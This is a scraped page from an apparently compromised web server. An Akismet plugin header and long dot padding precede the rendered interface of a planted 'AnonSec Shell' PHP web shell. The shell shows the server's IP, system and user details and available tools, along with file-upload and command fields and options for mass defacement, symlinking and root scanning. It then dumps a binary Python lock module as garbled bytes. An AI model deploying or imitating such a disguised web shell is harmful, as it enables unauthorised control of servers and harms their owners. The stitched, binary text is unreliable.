#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager//lock.pyo
�
L��ec@`s�ddlmZmZmZddlZddlZddlmZddl	Z	dZ
ddlZeje
�Zdefd��YZdefd��YZd	efd
��YZdS(i(tprint_functiontdivisiontabsolute_importN(tRLockg�?tLockFilecB`sbeZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�ZRS(
cC`s||_d|_d|_dS(N(tpathtNonetpidtfp(tselfR((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyt__init__"s		cC`ss|j�r8t|jd�|_|j�|j�nt|jd�|_|jj�}tj|tj	�dS(Ntwsr+(
t
notcreatedtopenRRtsetpidtclosetfilenotfcntltflocktLOCK_EX(R	tfd((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyR
's

cC`sF|jdkr?|jj�j�}|r?t|�|_q?n|jS(N(RRRtreadtstriptint(R	tcontent((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pytgetpid0s
cC`sC|jjd�ttj��}|jj|�|jj�dS(Ni(RtseektstrtosRtwritetflush(R	R((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyR7scC`stj�|j�kS(N(RR(R	((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pytmypid=scC`s>t}y tj|j�d�t}Wntk
r9nX|S(Ni(tFalseRtkillRtTruet	Exception(R	tstatus((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pytvalid@s

cC`s:|j�s|j�r6|j�tj|j�ndS(N(RR%RRtunlinkR(R	((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pytdeleteIs
cC`s]y3|jj�}tj|tj�|jj�Wntk
rFnXd|_d|_dS(N(	RRRRtLOCK_UNRR#RR(R	R((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyRNs
	cC`stjj|j�S(N(RRtexists(R	((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyRXscC`s|j�dS(N(R(R	((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyt__del__[s(t__name__t
__module__R
R
RRRR%R'RRR*(((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyR s										
	tLockcB`s_eZe�Zd�Zdd�Zd�Zd�Zd�Z	e	Z
d�ZeZd�Z
RS(cC`s�d|_||_d|_d|_tjj|j�\}}y/tjj|�sdtj|�n||_Wnt	k
r�d|_nXdS(Ni(
tdepthRRtlockdirtblockingRtsplitR)tmakedirsR#(R	Rtlock_dirt_fn((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyR
cs				

cC`s|jdkrdSt|j�}z�y�xtr�|j�|j�|j�ro|j�|dk	rktSdS|j	�r�|j
�|tkr�tStj
t�q+Pq+W|j�|j�Wn*tk
r�}tj|�td�nXWd|j
�X|dk	rtSdS(s�Behaviour here is modeled after threading.RLock.acquire.

        If 'blocking' is False, we return True if we didn't need to block and we acquired the lock.
        We return False if couldn't acquire the lock and would have
        had to wait and block.

        if 'blocking' is None, we return None when we acquire the lock, otherwise block until we do.

        if 'blocking' is True, we behave the same as with blocking=None, except we return True.

        Nscould not create lock(R/RRRR"R
RRtPR%RR ttimetsleeptLOCK_WAIT_DURATIONRtOSErrortlogt	exceptiontprint(R	R0tfte((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pytacquireqs8
	





cC`sv|jdkrdS|j�s#dS|j�|j�r=dSt|j�}z|j�|j�Wd|j�XdS(N(	R/RtacquiredtVRRR
R'R(R	R=((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pytrelease�s

cC`sI|jdkrdS|j}|j�z|jdkSWd|j�XdS(Ni(R/RtmutexR?R.RB(R	RC((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyR@�s	
cC`s8|j}|j�z|jd7_Wd|j�X|S(Ni(RCR?R.RB(R	RC((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pytwait�s	
cC`sG|j}|j�z"|j�r4|jd8_nWd|j�XdS(Ni(RCR?R@R.RB(R	RC((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pytsignal�s	
cC`s&y|j�Wntk
r!nXdS(N(RBR#(R	((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyR*�s
N(R+R,tMutexRCR
RR?RBR@RDR5RERAR*(((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyR-_s		1				t
ActionLockcB`seZdZd�ZRS(s/var/run/rhsm/cert.pidcC`stt|�j|j�dS(N(tsuperRGR
tPATH(R	((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyR
�s(R+R,RIR
(((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyRG�s(t
__future__RRRRRt	threadingRRFR6R8tloggingt	getLoggerR+R:tobjectRR-RG(((s?/usr/lib64/python2.7/site-packages/subscription_manager/lock.pyt<module>s?y

Anon7 - 2022
AnonSec Team